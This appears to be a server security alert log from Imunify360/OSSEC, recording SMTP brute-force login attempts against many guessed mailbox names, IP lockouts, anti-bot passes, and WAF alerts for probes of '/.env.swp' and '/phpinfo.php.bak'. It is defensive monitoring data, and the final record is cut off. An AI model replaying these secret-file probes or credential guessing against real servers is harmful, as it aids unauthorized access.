plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:38:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:38:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:50686: 535 Incorrect authentication data (set_id=mailrelay@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:38:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:62766: 535 Incorrect authentication data (set_id=sharepoint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41756: 535 Incorrect authentication data (set_id=1983@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.122.127
country_id: 99237
description:
212.237.122.127 - - [13/Jun/2026:07:39:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001041&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336391 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6843.1391 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.122.127


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28196: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24296: 535 Incorrect authentication data (set_id=slave@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20248: 535 Incorrect authentication data (set_id=dragon@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.192.213.85
country_id: 1733045
description:
14.192.213.85 - - [13/Jun/2026:07:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131400&pdata=https%253A%252F%252Ftogodailynews.tg%252Frapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336363 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2633.1900 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.192.213.85


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:bighostingsnbd||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34826: 535 Incorrect authentication data (set_id=csmith@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:39:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:39:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54518: 535 Incorrect authentication data (set_id=amd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:39:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40574: 535 Incorrect authentication data (set_id=newserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:39:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:39:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41490: 535 Incorrect authentication data (set_id=sqlserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:39:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:39:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:39:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:39:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.185.95
country_id: 6252001
description:
146.190.185.95 - - [13/Jun/2026:07:40:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278107&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336453 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.185.95


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.43.97.103
country_id: 298795
description:
Jun 13 07:40:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.43.97.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:40:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:40:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63548: 535 Incorrect authentication data (set_id=zms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:40:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11978: 535 Incorrect authentication data (set_id=citrix2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.97.103
country_id: 298795
description:
2026-06-13 07:41:01 dovecot_plain authenticator failed for H=(nx3k9io319xwtehpkqp) [213.43.97.103]:47532: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:16018: 535 Incorrect authentication data (set_id=securite@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4388: 535 Incorrect authentication data (set_id=laborator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32388: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:40:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31934: 535 Incorrect authentication data (set_id=yaoyao@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:41:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:41:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23284: 535 Incorrect authentication data (set_id=tushar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:41:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16984: 535 Incorrect authentication data (set_id=aris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:41:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:41:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28232: 535 Incorrect authentication data (set_id=dev.www@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:41:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:42:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:42:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59982: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:42:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:42:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:14276: 535 Incorrect authentication data (set_id=bux@ns5.netmaster.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.229.219.202
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:42:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10980: 535 Incorrect authentication data (set_id=acctftp1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8748: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:43:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:43:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:43:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:43:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37952: 535 Incorrect authentication data (set_id=tomata@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:43:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2738: 535 Incorrect authentication data (set_id=userid@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:43:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5150: 535 Incorrect authentication data (set_id=tester2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29902: 535 Incorrect authentication data (set_id=gutenberg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:44:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:44:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:58770: 535 Incorrect authentication data (set_id=sagar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60750: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35842: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:45:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59196: 535 Incorrect authentication data (set_id=loris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 07:45:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:45:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52194: 535 Incorrect authentication data (set_id=testing1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:45:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:45:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21776: 535 Incorrect authentication data (set_id=sku@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:45:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:45:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:46:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.252.40.158
country_id: 732800
description:
Jun 13 07:46:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.252.40.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:46:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038823&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336793 HTTP/2.0" 302 0 crepsad.tg "https://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 13 07:46:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:46:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13710: 535 Incorrect authentication data (set_id=testuser01@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41180: 535 Incorrect authentication data (set_id=tomasz@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36996: 535 Incorrect authentication data (set_id=linkname@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.241.50
country_id: 1814991
description:
Jun 13 07:46:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.241.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:46:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25460: 535 Incorrect authentication data (set_id=klopez@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 13 07:47:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:47:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 07:48:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:47:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:47:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32910: 535 Incorrect authentication data (set_id=bitbucket@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:47:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:48:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:47:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32600: 535 Incorrect authentication data (set_id=f5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.136
country_id: 1819730
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:47:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:47:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
